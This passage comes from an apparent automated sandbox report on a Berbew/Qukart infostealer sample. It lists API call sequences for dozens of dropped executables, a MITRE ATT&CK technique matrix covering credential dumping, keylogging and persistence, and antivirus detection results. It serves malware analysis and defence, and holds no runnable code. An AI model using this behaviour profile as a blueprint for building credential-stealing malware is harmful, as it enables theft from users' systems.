Source: C:\Windows\SysWOW64\Odekfoij.exe	Code function: 9_2_00406C29 OpenMutexA,CloseHandle,exit,GetVersionExA,GetSystemDirectoryA,GetTickCount,srand,GetModuleFileNameA,rand,rand,rand,sprintf,CopyFileA,WinExec,ExitProcess,sprintf,sprintf,sprintf,LoadCursorA,LoadIconA,GetStockObject,DsBindWithCredA,RegisterClassA,CreateWindowExA,CreateMutexA,GetVersion,GetModuleHandleA,GetProcAddress,GetCurrentProcessId,CreateThread,CloseHandle,CreateThread,CloseHandle,SetTimer,TranslateMessage,DispatchMessageA,GetMessageA,	9_2_00406C29
Source: C:\Windows\SysWOW64\Odekfoij.exe	Code function: 9_2_0040129B DsBindWithCredA,CreateFileA,	9_2_0040129B
Source: C:\Windows\SysWOW64\Odekfoij.exe	Code function: 9_2_0040129C DsBindWithCredA,CreateFileA,ReadFile,CloseHandle,	9_2_0040129C
Source: C:\Windows\SysWOW64\Odekfoij.exe	Code function: 9_2_00406753 DsBindWithCredA,DsBindWithCredA,CreateFileA,GetFileSize,CloseHandle,VirtualAlloc,VirtualAlloc,VirtualAlloc,	9_2_00406753
Source: C:\Windows\SysWOW64\Ojacofgb.exe	Code function: 10_2_00403619 DsBindWithCredA,DsBindWithCredA,CreateFileA,GetFileSize,LocalAlloc,ReadFile,CloseHandle,	10_2_00403619
Source: C:\Windows\SysWOW64\Ojacofgb.exe	Code function: 10_2_00406C29 OpenMutexA,CloseHandle,exit,GetVersionExA,GetSystemDirectoryA,GetTickCount,srand,GetModuleFileNameA,rand,rand,rand,sprintf,CopyFileA,WinExec,ExitProcess,sprintf,sprintf,sprintf,LoadCursorA,LoadIconA,GetStockObject,DsBindWithCredA,RegisterClassA,CreateWindowExA,CreateMutexA,GetVersion,GetModuleHandleA,GetProcAddress,GetCurrentProcessId,CreateThread,CloseHandle,CreateThread,CloseHandle,SetTimer,TranslateMessage,DispatchMessageA,GetMessageA,	10_2_00406C29
Source: C:\Windows\SysWOW64\Ojacofgb.exe	Code function: 10_2_0040129B DsBindWithCredA,CreateFileA,	10_2_0040129B
Source: C:\Windows\SysWOW64\Ojacofgb.exe	Code function: 10_2_0040129C DsBindWithCredA,CreateFileA,ReadFile,CloseHandle,	10_2_0040129C
Source: C:\Windows\SysWOW64\Ojacofgb.exe	Code function: 10_2_00406753 DsBindWithCredA,DsBindWithCredA,CreateFileA,GetFileSize,CloseHandle,VirtualAlloc,VirtualAlloc,VirtualAlloc,	10_2_00406753
Source: C:\Windows\SysWOW64\Ppllkpoo.exe	Code function: 11_2_00403619 DsBindWithCredA,DsBindWithCredA,CreateFileA,GetFileSize,LocalAlloc,ReadFile,CloseHandle,	11_2_00403619
Source: C:\Windows\SysWOW64\Ppllkpoo.exe	Code function: 11_2_00406C29 OpenMutexA,CloseHandle,exit,GetVersionExA,GetSystemDirectoryA,GetTickCount,srand,GetModuleFileNameA,rand,rand,rand,sprintf,CopyFileA,WinExec,ExitProcess,sprintf,sprintf,sprintf,LoadCursorA,LoadIconA,GetStockObject,DsBindWithCredA,RegisterClassA,CreateWindowExA,CreateMutexA,GetVersion,GetModuleHandleA,GetProcAddress,GetCurrentProcessId,CreateThread,CloseHandle,CreateThread,CloseHandle,SetTimer,TranslateMessage,DispatchMessageA,GetMessageA,	11_2_00406C29
Source: C:\Windows\SysWOW64\Ppllkpoo.exe	Code function: 11_2_0040129B DsBindWithCredA,CreateFileA,	11_2_0040129B
Source: C:\Windows\SysWOW64\Ppllkpoo.exe	Code function: 11_2_0040129C DsBindWithCredA,CreateFileA,ReadFile,CloseHandle,	11_2_0040129C
Source: C:\Windows\SysWOW64\Ppllkpoo.exe	Code function: 11_2_00406753 DsBindWithCredA,DsBindWithCredA,CreateFileA,GetFileSize,CloseHandle,VirtualAlloc,VirtualAlloc,VirtualAlloc,	11_2_00406753
Source: C:\Windows\SysWOW64\Plbmqa32.exe	Code function: 12_2_00403619 DsBindWithCredA,DsBindWithCredA,CreateFileA,GetFileSize,LocalAlloc,ReadFile,CloseHandle,	12_2_00403619
Source: C:\Windows\SysWOW64\Plbmqa32.exe	Code function: 12_2_00406C29 OpenMutexA,CloseHandle,exit,GetVersionExA,GetSystemDirectoryA,GetTickCount,srand,GetModuleFileNameA,rand,rand,rand,sprintf,CopyFileA,WinExec,ExitProcess,sprintf,sprintf,sprintf,LoadCursorA,LoadIconA,GetStockObject,DsBindWithCredA,RegisterClassA,CreateWindowExA,CreateMutexA,GetVersion,GetModuleHandleA,GetProcAddress,GetCurrentProcessId,CreateThread,CloseHandle,CreateThread,CloseHandle,SetTimer,TranslateMessage,DispatchMessageA,GetMessageA,	12_2_00406C29
Source: C:\Windows\SysWOW64\Plbmqa32.exe	Code function: 12_2_0040129B DsBindWithCredA,CreateFileA,	12_2_0040129B
Source: C:\Windows\SysWOW64\Plbmqa32.exe	Code function: 12_2_0040129C DsBindWithCredA,CreateFileA,ReadFile,CloseHandle,	12_2_0040129C
Source: C:\Windows\SysWOW64\Plbmqa32.exe	Code function: 12_2_00406753 DsBindWithCredA,DsBindWithCredA,CreateFileA,GetFileSize,CloseHandle,VirtualAlloc,VirtualAlloc,VirtualAlloc,	12_2_00406753
Source: C:\Windows\SysWOW64\Plgflqpn.exe	Code function: 13_2_00403619 DsBindWithCredA,DsBindWithCredA,CreateFileA,GetFileSize,LocalAlloc,ReadFile,CloseHandle,	13_2_00403619
Source: C:\Windows\SysWOW64\Plgflqpn.exe	Code function: 13_2_00406C29 OpenMutexA,CloseHandle,exit,GetVersionExA,GetSystemDirectoryA,GetTickCount,srand,GetModuleFileNameA,rand,rand,rand,sprintf,CopyFileA,WinExec,ExitProcess,sprintf,sprintf,sprintf,LoadCursorA,LoadIconA,GetStockObject,DsBindWithCredA,RegisterClassA,CreateWindowExA,CreateMutexA,GetVersion,GetModuleHandleA,GetProcAddress,GetCurrentProcessId,CreateThread,CloseHandle,CreateThread,CloseHandle,SetTimer,TranslateMessage,DispatchMessageA,GetMessageA,	13_2_00406C29
Source: C:\Windows\SysWOW64\Plgflqpn.exe	Code function: 13_2_0040129B DsBindWithCredA,CreateFileA,	13_2_0040129B
Source: C:\Windows\SysWOW64\Plgflqpn.exe	Code function: 13_2_0040129C DsBindWithCredA,CreateFileA,ReadFile,CloseHandle,	13_2_0040129C
Source: C:\Windows\SysWOW64\Plgflqpn.exe	Code function: 13_2_00406753 DsBindWithCredA,DsBindWithCredA,CreateFileA,GetFileSize,CloseHandle,VirtualAlloc,VirtualAlloc,VirtualAlloc,	13_2_00406753
Source: C:\Windows\SysWOW64\Pqeoao32.exe	Code function: 14_2_00403619 DsBindWithCredA,DsBindWithCredA,CreateFileA,GetFileSize,LocalAlloc,ReadFile,CloseHandle,	14_2_00403619
Source: C:\Windows\SysWOW64\Pqeoao32.exe	Code function: 14_2_00406C29 OpenMutexA,CloseHandle,exit,GetVersionExA,GetSystemDirectoryA,GetTickCount,srand,GetModuleFileNameA,rand,rand,rand,sprintf,CopyFileA,WinExec,ExitProcess,sprintf,sprintf,sprintf,LoadCursorA,LoadIconA,GetStockObject,DsBindWithCredA,RegisterClassA,CreateWindowExA,CreateMutexA,GetVersion,GetModuleHandleA,GetProcAddress,GetCurrentProcessId,CreateThread,CloseHandle,CreateThread,CloseHandle,SetTimer,TranslateMessage,DispatchMessageA,GetMessageA,	14_2_00406C29
Source: C:\Windows\SysWOW64\Pqeoao32.exe	Code function: 14_2_0040129B DsBindWithCredA,CreateFileA,	14_2_0040129B
Source: C:\Windows\SysWOW64\Pqeoao32.exe	Code function: 14_2_0040129C DsBindWithCredA,CreateFileA,ReadFile,CloseHandle,	14_2_0040129C
Source: C:\Windows\SysWOW64\Pqeoao32.exe	Code function: 14_2_00406753 DsBindWithCredA,DsBindWithCredA,CreateFileA,GetFileSize,CloseHandle,VirtualAlloc,VirtualAlloc,VirtualAlloc,	14_2_00406753
Source: C:\Windows\SysWOW64\Qgcpihjl.exe	Code function: 15_2_00403619 DsBindWithCredA,DsBindWithCredA,CreateFileA,GetFileSize,LocalAlloc,ReadFile,CloseHandle,	15_2_00403619
Source: C:\Windows\SysWOW64\Qgcpihjl.exe	Code function: 15_2_00406C29 OpenMutexA,CloseHandle,exit,GetVersionExA,GetSystemDirectoryA,GetTickCount,srand,GetModuleFileNameA,rand,rand,rand,sprintf,CopyFileA,WinExec,ExitProcess,sprintf,sprintf,sprintf,LoadCursorA,LoadIconA,GetStockObject,DsBindWithCredA,RegisterClassA,CreateWindowExA,CreateMutexA,GetVersion,GetModuleHandleA,GetProcAddress,GetCurrentProcessId,CreateThread,CloseHandle,CreateThread,CloseHandle,SetTimer,TranslateMessage,DispatchMessageA,GetMessageA,	15_2_00406C29
Source: C:\Windows\SysWOW64\Qgcpihjl.exe	Code function: 15_2_0040129B DsBindWithCredA,CreateFileA,	15_2_0040129B
Source: C:\Windows\SysWOW64\Qgcpihjl.exe	Code function: 15_2_0040129C DsBindWithCredA,CreateFileA,ReadFile,CloseHandle,	15_2_0040129C
Source: C:\Windows\SysWOW64\Qgcpihjl.exe	Code function: 15_2_00406753 DsBindWithCredA,DsBindWithCredA,CreateFileA,GetFileSize,CloseHandle,VirtualAlloc,VirtualAlloc,VirtualAlloc,	15_2_00406753
Source: C:\Windows\SysWOW64\Ajkolbad.exe	Code function: 16_2_00403619 DsBindWithCredA,DsBindWithCredA,CreateFileA,GetFileSize,LocalAlloc,ReadFile,CloseHandle,	16_2_00403619
Source: C:\Windows\SysWOW64\Ajkolbad.exe	Code function: 16_2_00406C29 OpenMutexA,CloseHandle,exit,GetVersionExA,GetSystemDirectoryA,GetTickCount,srand,GetModuleFileNameA,rand,rand,rand,sprintf,CopyFileA,WinExec,ExitProcess,sprintf,sprintf,sprintf,LoadCursorA,LoadIconA,GetStockObject,DsBindWithCredA,RegisterClassA,CreateWindowExA,CreateMutexA,GetVersion,GetModuleHandleA,GetProcAddress,GetCurrentProcessId,CreateThread,CloseHandle,CreateThread,CloseHandle,SetTimer,TranslateMessage,DispatchMessageA,GetMessageA,	16_2_00406C29
Source: C:\Windows\SysWOW64\Ajkolbad.exe	Code function: 16_2_0040129B DsBindWithCredA,CreateFileA,	16_2_0040129B
Source: C:\Windows\SysWOW64\Ajkolbad.exe	Code function: 16_2_0040129C DsBindWithCredA,CreateFileA,ReadFile,CloseHandle,	16_2_0040129C
Source: C:\Windows\SysWOW64\Ajkolbad.exe	Code function: 16_2_00406753 DsBindWithCredA,DsBindWithCredA,CreateFileA,GetFileSize,CloseHandle,VirtualAlloc,VirtualAlloc,VirtualAlloc,	16_2_00406753
Source: C:\Windows\SysWOW64\Bmlhnnne.exe	Code function: 17_2_00403619 DsBindWithCredA,DsBindWithCredA,CreateFileA,GetFileSize,LocalAlloc,ReadFile,CloseHandle,	17_2_00403619
Source: C:\Windows\SysWOW64\Bmlhnnne.exe	Code function: 17_2_00406C29 OpenMutexA,CloseHandle,exit,GetVersionExA,GetSystemDirectoryA,GetTickCount,srand,GetModuleFileNameA,rand,rand,rand,sprintf,CopyFileA,WinExec,ExitProcess,sprintf,sprintf,sprintf,LoadCursorA,LoadIconA,GetStockObject,DsBindWithCredA,RegisterClassA,CreateWindowExA,CreateMutexA,GetVersion,GetModuleHandleA,GetProcAddress,GetCurrentProcessId,CreateThread,CloseHandle,CreateThread,CloseHandle,SetTimer,TranslateMessage,DispatchMessageA,GetMessageA,	17_2_00406C29
Source: C:\Windows\SysWOW64\Bmlhnnne.exe	Code function: 17_2_0040129B DsBindWithCredA,CreateFileA,	17_2_0040129B
Source: C:\Windows\SysWOW64\Bmlhnnne.exe	Code function: 17_2_0040129C DsBindWithCredA,CreateFileA,ReadFile,CloseHandle,	17_2_0040129C
Source: C:\Windows\SysWOW64\Bmlhnnne.exe	Code function: 17_2_00406753 DsBindWithCredA,DsBindWithCredA,CreateFileA,GetFileSize,CloseHandle,VirtualAlloc,VirtualAlloc,VirtualAlloc,	17_2_00406753
Source: C:\Windows\SysWOW64\Bgamkfnl.exe	Code function: 18_2_00403619 DsBindWithCredA,DsBindWithCredA,CreateFileA,GetFileSize,LocalAlloc,ReadFile,CloseHandle,	18_2_00403619
Source: C:\Windows\SysWOW64\Bgamkfnl.exe	Code function: 18_2_00406C29 OpenMutexA,CloseHandle,exit,GetVersionExA,GetSystemDirectoryA,GetTickCount,srand,GetModuleFileNameA,rand,rand,rand,sprintf,CopyFileA,WinExec,ExitProcess,sprintf,sprintf,sprintf,LoadCursorA,LoadIconA,GetStockObject,DsBindWithCredA,RegisterClassA,CreateWindowExA,CreateMutexA,GetVersion,GetModuleHandleA,GetProcAddress,GetCurrentProcessId,CreateThread,CloseHandle,CreateThread,CloseHandle,SetTimer,TranslateMessage,DispatchMessageA,GetMessageA,	18_2_00406C29
Source: C:\Windows\SysWOW64\Bgamkfnl.exe	Code function: 18_2_0040129B DsBindWithCredA,CreateFileA,	18_2_0040129B
Source: C:\Windows\SysWOW64\Bgamkfnl.exe	Code function: 18_2_0040129C DsBindWithCredA,CreateFileA,ReadFile,CloseHandle,	18_2_0040129C
Source: C:\Windows\SysWOW64\Bgamkfnl.exe	Code function: 18_2_00406753 DsBindWithCredA,DsBindWithCredA,CreateFileA,GetFileSize,CloseHandle,VirtualAlloc,VirtualAlloc,VirtualAlloc,	18_2_00406753
Source: C:\Windows\SysWOW64\Bqjacldl.exe	Code function: 19_2_00403619 DsBindWithCredA,DsBindWithCredA,CreateFileA,GetFileSize,LocalAlloc,ReadFile,CloseHandle,	19_2_00403619
Source: C:\Windows\SysWOW64\Bqjacldl.exe	Code function: 19_2_00406C29 OpenMutexA,CloseHandle,exit,GetVersionExA,GetSystemDirectoryA,GetTickCount,srand,GetModuleFileNameA,rand,rand,rand,sprintf,CopyFileA,WinExec,ExitProcess,sprintf,sprintf,sprintf,LoadCursorA,LoadIconA,GetStockObject,DsBindWithCredA,RegisterClassA,CreateWindowExA,CreateMutexA,GetVersion,GetModuleHandleA,GetProcAddress,GetCurrentProcessId,CreateThread,CloseHandle,CreateThread,CloseHandle,SetTimer,TranslateMessage,DispatchMessageA,GetMessageA,	19_2_00406C29
Source: C:\Windows\SysWOW64\Bqjacldl.exe	Code function: 19_2_0040129B DsBindWithCredA,CreateFileA,	19_2_0040129B
Source: C:\Windows\SysWOW64\Bqjacldl.exe	Code function: 19_2_0040129C DsBindWithCredA,CreateFileA,ReadFile,CloseHandle,	19_2_0040129C
Source: C:\Windows\SysWOW64\Bqjacldl.exe	Code function: 19_2_00406753 DsBindWithCredA,DsBindWithCredA,CreateFileA,GetFileSize,CloseHandle,VirtualAlloc,VirtualAlloc,VirtualAlloc,	19_2_00406753
Source: C:\Windows\SysWOW64\Bnnampcf.exe	Code function: 20_2_00403619 DsBindWithCredA,DsBindWithCredA,CreateFileA,GetFileSize,LocalAlloc,ReadFile,CloseHandle,	20_2_00403619
Source: C:\Windows\SysWOW64\Bnnampcf.exe	Code function: 20_2_00406C29 OpenMutexA,CloseHandle,exit,GetVersionExA,GetSystemDirectoryA,GetTickCount,srand,GetModuleFileNameA,rand,rand,rand,sprintf,CopyFileA,WinExec,ExitProcess,sprintf,sprintf,sprintf,LoadCursorA,LoadIconA,GetStockObject,DsBindWithCredA,RegisterClassA,CreateWindowExA,CreateMutexA,GetVersion,GetModuleHandleA,GetProcAddress,GetCurrentProcessId,CreateThread,CloseHandle,CreateThread,CloseHandle,SetTimer,TranslateMessage,DispatchMessageA,GetMessageA,	20_2_00406C29
Source: C:\Windows\SysWOW64\Bnnampcf.exe	Code function: 20_2_0040129B DsBindWithCredA,CreateFileA,	20_2_0040129B
Source: C:\Windows\SysWOW64\Bnnampcf.exe	Code function: 20_2_0040129C DsBindWithCredA,CreateFileA,ReadFile,CloseHandle,	20_2_0040129C
Source: C:\Windows\SysWOW64\Bnnampcf.exe	Code function: 20_2_00406753 DsBindWithCredA,DsBindWithCredA,CreateFileA,GetFileSize,CloseHandle,VirtualAlloc,VirtualAlloc,VirtualAlloc,	20_2_00406753
Source: C:\Windows\SysWOW64\Bnpnbp32.exe	Code function: 21_2_00403619 DsBindWithCredA,DsBindWithCredA,CreateFileA,GetFileSize,LocalAlloc,ReadFile,CloseHandle,	21_2_00403619
Source: C:\Windows\SysWOW64\Bnpnbp32.exe	Code function: 21_2_00406C29 OpenMutexA,CloseHandle,exit,GetVersionExA,GetSystemDirectoryA,GetTickCount,srand,GetModuleFileNameA,rand,rand,rand,sprintf,CopyFileA,WinExec,ExitProcess,sprintf,sprintf,sprintf,LoadCursorA,LoadIconA,GetStockObject,DsBindWithCredA,RegisterClassA,CreateWindowExA,CreateMutexA,GetVersion,GetModuleHandleA,GetProcAddress,GetCurrentProcessId,CreateThread,CloseHandle,CreateThread,CloseHandle,SetTimer,TranslateMessage,DispatchMessageA,GetMessageA,	21_2_00406C29
Source: C:\Windows\SysWOW64\Bnpnbp32.exe	Code function: 21_2_0040129B DsBindWithCredA,CreateFileA,	21_2_0040129B
Source: C:\Windows\SysWOW64\Bnpnbp32.exe	Code function: 21_2_0040129C DsBindWithCredA,CreateFileA,ReadFile,CloseHandle,	21_2_0040129C
Source: C:\Windows\SysWOW64\Bnpnbp32.exe	Code function: 21_2_00406753 DsBindWithCredA,DsBindWithCredA,CreateFileA,GetFileSize,CloseHandle,VirtualAlloc,VirtualAlloc,VirtualAlloc,	21_2_00406753
Source: C:\Windows\SysWOW64\Bgibkegc.exe	Code function: 22_2_00403619 DsBindWithCredA,DsBindWithCredA,CreateFileA,GetFileSize,LocalAlloc,ReadFile,CloseHandle,	22_2_00403619
Source: C:\Windows\SysWOW64\Bgibkegc.exe	Code function: 22_2_00406C29 OpenMutexA,CloseHandle,exit,GetVersionExA,GetSystemDirectoryA,GetTickCount,srand,GetModuleFileNameA,rand,rand,rand,sprintf,CopyFileA,WinExec,ExitProcess,sprintf,sprintf,sprintf,LoadCursorA,LoadIconA,GetStockObject,DsBindWithCredA,RegisterClassA,CreateWindowExA,CreateMutexA,GetVersion,GetModuleHandleA,GetProcAddress,GetCurrentProcessId,CreateThread,CloseHandle,CreateThread,CloseHandle,SetTimer,TranslateMessage,DispatchMessageA,GetMessageA,	22_2_00406C29
Source: C:\Windows\SysWOW64\Bgibkegc.exe	Code function: 22_2_0040129B DsBindWithCredA,CreateFileA,	22_2_0040129B
Source: C:\Windows\SysWOW64\Bgibkegc.exe	Code function: 22_2_0040129C DsBindWithCredA,CreateFileA,ReadFile,CloseHandle,	22_2_0040129C
Source: C:\Windows\SysWOW64\Bgibkegc.exe	Code function: 22_2_00406753 DsBindWithCredA,DsBindWithCredA,CreateFileA,GetFileSize,CloseHandle,VirtualAlloc,VirtualAlloc,VirtualAlloc,	22_2_00406753
Source: C:\Windows\SysWOW64\Baagdk32.exe	Code function: 23_2_00403619 DsBindWithCredA,DsBindWithCredA,CreateFileA,GetFileSize,LocalAlloc,ReadFile,CloseHandle,	23_2_00403619
Source: C:\Windows\SysWOW64\Baagdk32.exe	Code function: 23_2_00406C29 OpenMutexA,CloseHandle,exit,GetVersionExA,GetSystemDirectoryA,GetTickCount,srand,GetModuleFileNameA,rand,rand,rand,sprintf,CopyFileA,WinExec,ExitProcess,sprintf,sprintf,sprintf,LoadCursorA,LoadIconA,GetStockObject,DsBindWithCredA,RegisterClassA,CreateWindowExA,CreateMutexA,GetVersion,GetModuleHandleA,GetProcAddress,GetCurrentProcessId,CreateThread,CloseHandle,CreateThread,CloseHandle,SetTimer,TranslateMessage,DispatchMessageA,GetMessageA,	23_2_00406C29
Source: C:\Windows\SysWOW64\Baagdk32.exe	Code function: 23_2_0040129B DsBindWithCredA,CreateFileA,	23_2_0040129B
Source: C:\Windows\SysWOW64\Baagdk32.exe	Code function: 23_2_0040129C DsBindWithCredA,CreateFileA,ReadFile,CloseHandle,	23_2_0040129C
Source: C:\Windows\SysWOW64\Baagdk32.exe	Code function: 23_2_00406753 DsBindWithCredA,DsBindWithCredA,CreateFileA,GetFileSize,CloseHandle,VirtualAlloc,VirtualAlloc,VirtualAlloc,	23_2_00406753
Source: C:\Windows\SysWOW64\Cfnpmb32.exe	Code function: 24_2_00403619 DsBindWithCredA,DsBindWithCredA,CreateFileA,GetFileSize,LocalAlloc,ReadFile,CloseHandle,	24_2_00403619
Source: C:\Windows\SysWOW64\Cfnpmb32.exe	Code function: 24_2_00406C29 OpenMutexA,CloseHandle,exit,GetVersionExA,GetSystemDirectoryA,GetTickCount,srand,GetModuleFileNameA,rand,rand,rand,sprintf,CopyFileA,WinExec,ExitProcess,sprintf,sprintf,sprintf,LoadCursorA,LoadIconA,GetStockObject,DsBindWithCredA,RegisterClassA,CreateWindowExA,CreateMutexA,GetVersion,GetModuleHandleA,GetProcAddress,GetCurrentProcessId,CreateThread,CloseHandle,CreateThread,CloseHandle,SetTimer,TranslateMessage,DispatchMessageA,GetMessageA,	24_2_00406C29
Source: C:\Windows\SysWOW64\Cfnpmb32.exe	Code function: 24_2_0040129B DsBindWithCredA,CreateFileA,	24_2_0040129B
Source: C:\Windows\SysWOW64\Cfnpmb32.exe	Code function: 24_2_0040129C DsBindWithCredA,CreateFileA,ReadFile,CloseHandle,	24_2_0040129C
Source: C:\Windows\SysWOW64\Cfnpmb32.exe	Code function: 24_2_00406753 DsBindWithCredA,DsBindWithCredA,CreateFileA,GetFileSize,CloseHandle,VirtualAlloc,VirtualAlloc,VirtualAlloc,	24_2_00406753
Source: C:\Windows\SysWOW64\Ccapffke.exe	Code function: 25_2_00403619 DsBindWithCredA,DsBindWithCredA,CreateFileA,GetFileSize,LocalAlloc,ReadFile,CloseHandle,	25_2_00403619
Source: C:\Windows\SysWOW64\Ccapffke.exe	Code function: 25_2_00406C29 OpenMutexA,CloseHandle,exit,GetVersionExA,GetSystemDirectoryA,GetTickCount,srand,GetModuleFileNameA,rand,rand,rand,sprintf,CopyFileA,WinExec,ExitProcess,sprintf,sprintf,sprintf,LoadCursorA,LoadIconA,GetStockObject,DsBindWithCredA,RegisterClassA,CreateWindowExA,CreateMutexA,GetVersion,GetModuleHandleA,GetProcAddress,GetCurrentProcessId,CreateThread,CloseHandle,CreateThread,CloseHandle,SetTimer,TranslateMessage,DispatchMessageA,GetMessageA,	25_2_00406C29
Source: C:\Windows\SysWOW64\Ccapffke.exe	Code function: 25_2_0040129B DsBindWithCredA,CreateFileA,	25_2_0040129B
Source: C:\Windows\SysWOW64\Ccapffke.exe	Code function: 25_2_0040129C DsBindWithCredA,CreateFileA,ReadFile,CloseHandle,	25_2_0040129C
Source: C:\Windows\SysWOW64\Ccapffke.exe	Code function: 25_2_00406753 DsBindWithCredA,DsBindWithCredA,CreateFileA,GetFileSize,CloseHandle,VirtualAlloc,VirtualAlloc,VirtualAlloc,	25_2_00406753
Source: C:\Windows\SysWOW64\Ceampi32.exe	Code function: 26_2_00403619 DsBindWithCredA,DsBindWithCredA,CreateFileA,GetFileSize,LocalAlloc,ReadFile,CloseHandle,	26_2_00403619
Source: C:\Windows\SysWOW64\Ceampi32.exe	Code function: 26_2_00406C29 OpenMutexA,CloseHandle,exit,GetVersionExA,GetSystemDirectoryA,GetTickCount,srand,GetModuleFileNameA,rand,rand,rand,sprintf,CopyFileA,WinExec,ExitProcess,sprintf,sprintf,sprintf,LoadCursorA,LoadIconA,GetStockObject,DsBindWithCredA,RegisterClassA,CreateWindowExA,CreateMutexA,GetVersion,GetModuleHandleA,GetProcAddress,GetCurrentProcessId,CreateThread,CloseHandle,CreateThread,CloseHandle,SetTimer,TranslateMessage,DispatchMessageA,GetMessageA,	26_2_00406C29
Source: C:\Windows\SysWOW64\Ceampi32.exe	Code function: 26_2_0040129B DsBindWithCredA,CreateFileA,	26_2_0040129B
Source: C:\Windows\SysWOW64\Ceampi32.exe	Code function: 26_2_0040129C DsBindWithCredA,CreateFileA,ReadFile,CloseHandle,	26_2_0040129C
Source: C:\Windows\SysWOW64\Ceampi32.exe	Code function: 26_2_00406753 DsBindWithCredA,DsBindWithCredA,CreateFileA,GetFileSize,CloseHandle,VirtualAlloc,VirtualAlloc,VirtualAlloc,	26_2_00406753
Source: C:\Windows\SysWOW64\Cnjaioih.exe	Code function: 27_2_00403619 DsBindWithCredA,DsBindWithCredA,CreateFileA,GetFileSize,LocalAlloc,ReadFile,CloseHandle,	27_2_00403619
Source: C:\Windows\SysWOW64\Cnjaioih.exe	Code function: 27_2_00406C29 OpenMutexA,CloseHandle,exit,GetVersionExA,GetSystemDirectoryA,GetTickCount,srand,GetModuleFileNameA,rand,rand,rand,sprintf,CopyFileA,WinExec,ExitProcess,sprintf,sprintf,sprintf,LoadCursorA,LoadIconA,GetStockObject,DsBindWithCredA,RegisterClassA,CreateWindowExA,CreateMutexA,GetVersion,GetModuleHandleA,GetProcAddress,GetCurrentProcessId,CreateThread,CloseHandle,CreateThread,CloseHandle,SetTimer,TranslateMessage,DispatchMessageA,GetMessageA,	27_2_00406C29
Source: C:\Windows\SysWOW64\Cnjaioih.exe	Code function: 27_2_0040129B DsBindWithCredA,CreateFileA,	27_2_0040129B
Source: C:\Windows\SysWOW64\Cnjaioih.exe	Code function: 27_2_0040129C DsBindWithCredA,CreateFileA,ReadFile,CloseHandle,	27_2_0040129C
Source: C:\Windows\SysWOW64\Cnjaioih.exe	Code function: 27_2_00406753 DsBindWithCredA,DsBindWithCredA,CreateFileA,GetFileSize,CloseHandle,VirtualAlloc,VirtualAlloc,VirtualAlloc,	27_2_00406753

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Native API	1 Create Account	1 Process Injection	12 Masquerading	OS Credential Dumping	1 Security Software Discovery	Remote Services	1 Email Collection	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 Registry Run Keys / Startup Folder	1 Registry Run Keys / Startup Folder	1 Process Injection	LSASS Memory	2 System Information Discovery	Remote Desktop Protocol	1 Archive Collected Data	Junk Data	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	1 DLL Side-Loading	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	Steganography	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	3 Obfuscated Files or Information	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Software Packing	LSA Secrets	Internet Connection Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	Wi-Fi Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
h879iieoae.exe	82%	ReversingLabs	Win32.Infostealer.Berbew
h879iieoae.exe	82%	Virustotal		Browse
h879iieoae.exe	100%	Avira	TR/Spy.Qukart.NB
h879iieoae.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Windows\SysWOW64\Accicdme.dll	100%	Avira	TR/ATRAPS.Gen
C:\Windows\SysWOW64\Efgkjnfn.exe	100%	Avira	TR/Spy.Qukart.NB
C:\Windows\SysWOW64\Bgibkegc.exe	100%	Avira	TR/Spy.Qukart.NB
C:\Windows\SysWOW64\Bgamkfnl.exe	100%	Avira	TR/Spy.Qukart.NB
C:\Windows\SysWOW64\Cnjaioih.exe	100%	Avira	TR/Spy.Qukart.NB
C:\Windows\SysWOW64\Dfcboo32.exe	100%	Avira	TR/Spy.Qukart.NB
C:\Windows\SysWOW64\Ckaenpam.dll	100%	Avira	TR/ATRAPS.Gen
C:\Windows\SysWOW64\Baagdk32.exe	100%	Avira	TR/Spy.Qukart.NB
C:\Windows\SysWOW64\Bnnampcf.exe	100%	Avira	TR/Spy.Qukart.NB
C:\Windows\SysWOW64\Eoappk32.exe	100%	Avira	TR/Spy.Qukart.NB
C:\Windows\SysWOW64\Ajikgq32.dll	100%	Avira	TR/ATRAPS.Gen
C:\Windows\SysWOW64\Ajkolbad.exe	100%	Avira	TR/Spy.Qukart.NB
C:\Windows\SysWOW64\Chfnmf32.dll	100%	Avira	TR/ATRAPS.Gen
C:\Windows\SysWOW64\Bdlhdkdf.dll	100%	Avira	TR/ATRAPS.Gen
C:\Windows\SysWOW64\Cfnpmb32.exe	100%	Avira	TR/Spy.Qukart.NB
C:\Windows\SysWOW64\Clqdacnn.dll	100%	Avira	TR/ATRAPS.Gen
C:\Windows\SysWOW64\Dnhmjm32.exe	100%	Avira	TR/Spy.Qukart.NB
C:\Windows\SysWOW64\Bpghkh32.dll	100%	Avira	TR/ATRAPS.Gen
C:\Windows\SysWOW64\Edgbhcim.exe	100%	Avira	TR/Spy.Qukart.NB
C:\Windows\SysWOW64\Bnpnbp32.exe	100%	Avira	TR/Spy.Qukart.NB
C:\Windows\SysWOW64\Ekpkmk32.dll	100%	Avira	TR/ATRAPS.Gen
C:\Windows\SysWOW64\Ccapffke.exe	100%	Avira	TR/Spy.Qukart.NB
